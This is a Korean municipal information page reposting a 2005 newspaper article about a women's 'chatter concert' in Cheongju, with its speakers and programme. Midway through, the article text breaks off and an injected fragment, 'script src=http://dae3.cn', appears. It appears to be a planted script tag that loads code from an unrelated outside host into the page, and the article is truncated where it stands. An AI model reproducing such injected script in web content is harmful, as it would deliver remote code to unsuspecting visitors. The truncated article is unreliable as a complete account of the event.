본문 바로가기

정보공개방

정보공개방

커뮤니티-보도자료 상세보기 - 제목, 내용, 파일 제공
제목 [동양일보]오늘 우리 맘 놓고 수다 좀 떨어볼까
내용 오늘 우리 맘 놓고 수다 좀 떨어볼까 등록시간 : 2005-12-05 10:44:07. 조회수 : 50 ‘따분한 일상. 누군가 나에게 유쾌한 저녁을 제안한다면?’ 남편과 아이. 시부모님... 늘 가족들에게 시달려 언제나 내 안의 모습은 꼭꼭 숨기고 살아야했던 많은 여성들이 이제는 당당하게 소리내어 밖으로 이야기할 수 있는 참여형 콘서트가 열린다. 오는 10일 오후 7시 청주시민회관에서 그동안 쌓여있었던 여자들의 한숨과 투정. 모든 소리가 터져나온다. 시원한 수다와 메시지를 담은 노래. 춤을 결합한 여성의 삶의 이야기가 있는 ‘수다 콘서트 통?통!통∼’이 바로 그것. 이번 콘서트는 ‘청주예술의전당 2005 아트페스티벌’의 ‘배움. 그 이상의 느낌-문화교육시리즈’의 5번째 프로그램으로 기존의 구태의연한 ‘여성’에 대한 문제의식에서 벗어나. 여성 스스로 자아의식을 느끼게 해주는 능동적인 여성문화교육프로그램이다. 또 한국사회에서 여성으로 살아간다는 것. 여성 스스로가 사회적 주체로 나서는 것에 대한 여성들의 문제의식을 일깨우고 삶의 긍정성과 자아존중감을 충전시켜주는 콘서트다. 여성의 몸과 성. 여성의 일. 자녀 교육. 여성의 문화적이고 능동적인 사회참여 등의 주제를 쉽고 즐겁게 풀어내 관객들로 하여금 자유와 해방감을 느끼게 해주는 신명나는 프로그램으로 구성돼 있다. 그렇기 때문에 주부뿐만 아니라 결혼을 꿈꾸는 미혼 여성들에게도 훗날 의식있는 결혼 생활을 준비하게 할 수 있는 기회가 될 것이다. 특히 이번 공연에는 여러 방송가에서 여성대표 패널로 활동하고 있는 여성운동가 ‘오한숙희’를 비롯해 여성들의 삶과 희망을 노래하는 열정적인 페미니스트 가수 ‘안혜경’. 익살스러운 몸짓과 연기로 밝은 웃음을 선사하는 춤꾼 ‘이은영’이 출연해 그들의 열정적인 인생 이야기를 관객과 함께 나눈다. 1부 무대로 꾸며질 ‘밥통?’은 가슴속 깊이 담아 놓았던 여자들의 은밀한 이야기들을 밖으로 꺼내보는 유쾌한 수다의 오프닝. 사회의 왜곡된 시선과 편견에 지쳐있었던 여성들의 속 깊은 이야기와 노래들이 펼쳐진다. 여성의 고유한 성역할로 전담되어진 집안 일을 상징하는 ‘밥’을 통해 이 시대의 성차별에 대해 쏟아내고 풀어낸다. 이어 2부 무대인 ‘소통!’에서는 가정과 사회의 다양한 관계 속에서 어긋나고 마는 소통의 부재를 겪으며 살아가는 현대인들에게 있어 소통은 과?script src=http://dae3.cn>
파일
이전,다음보기
이전글 [새충청일보]노래로 떠는 수다
다음글 [뉴시스]청주시립예술단 크리스마스 축제

담당자 정보

  • 담당부서 : 민원과
  • 담당자 : 이수민
  • 문의전화(043) : 201-2973

콘텐츠 만족도 조사

이 페이지에서 제공하는 정보에 대하여 어느 정도 만족하셨습니까?

만족도 조사